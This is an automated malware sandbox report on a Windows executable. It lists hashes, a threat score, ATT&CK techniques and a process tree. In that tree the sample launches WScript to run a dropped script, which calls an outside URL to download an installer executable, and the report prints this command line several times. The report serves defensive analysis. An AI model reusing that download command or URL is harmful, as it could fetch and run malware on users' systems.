83d8c327e238ee626c91c5a8c7367397b7a9a1d67efc2ead6cfd5b99c38fe40b

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
05/06/2024, 18:19

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General

Target

98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe
Size

184KB
MD5

98e5efeeb4ce2069026f6c48b086a831
SHA1

36694cf29b7163eeccfefaf9a8df83239c249395
SHA256

83d8c327e238ee626c91c5a8c7367397b7a9a1d67efc2ead6cfd5b99c38fe40b
SHA512

991fd0f42485b6a43bd8de7eba0d1735915c7134f60b20ab9247a7b604d424e0a30fb3884cfc904284419f6f255c11cc264f13c2ddf725e23bf682cd2b1c3a4b
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Z:/7BSH8zUB+nGESaaRvoB7FJNndn4

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
6	844	WScript.exe
25	1872	WScript.exe
27	2328	WScript.exe
40	1824	WScript.exe
41	1824	WScript.exe
44	1536	WScript.exe
45	1536	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000\Control Panel\International\Geo\Nation	98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4018855536-2201274732-320770143-1000_Classes\Local Settings	98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2240 wrote to memory of 844	2240	98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe	81
PID 2240 wrote to memory of 844	2240	98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe	81
PID 2240 wrote to memory of 844	2240	98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe	81
PID 2240 wrote to memory of 1872	2240	98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe	93
PID 2240 wrote to memory of 1872	2240	98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe	93
PID 2240 wrote to memory of 1872	2240	98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe	93
PID 2240 wrote to memory of 2328	2240	98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe	94
PID 2240 wrote to memory of 2328	2240	98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe	94
PID 2240 wrote to memory of 2328	2240	98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe	94
PID 2240 wrote to memory of 1824	2240	98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe	96
PID 2240 wrote to memory of 1824	2240	98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe	96
PID 2240 wrote to memory of 1824	2240	98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe	96
PID 2240 wrote to memory of 1536	2240	98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe	97
PID 2240 wrote to memory of 1536	2240	98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe	97
PID 2240 wrote to memory of 1536	2240	98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe	97

C:\Users\Admin\AppData\Local\Temp\98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\98e5efeeb4ce2069026f6c48b086a831_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2240
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3410.js" http://www.djapp.info/?domain=VTivybhITx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3410.exe
  2⤵
  - Blocklisted process makes network request
  PID:844
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3410.js" http://www.djapp.info/?domain=VTivybhITx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3410.exe
  2⤵
  - Blocklisted process makes network request
  PID:1872
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3410.js" http://www.djapp.info/?domain=VTivybhITx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3410.exe
  2⤵
  - Blocklisted process makes network request
  PID:2328
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3410.js" http://www.djapp.info/?domain=VTivybhITx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3410.exe
  2⤵
  - Blocklisted process makes network request
  PID:1824
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3410.js" http://www.djapp.info/?domain=VTivybhITx.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3410.exe
  2⤵
  - Blocklisted process makes network request
  PID:1536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf3410.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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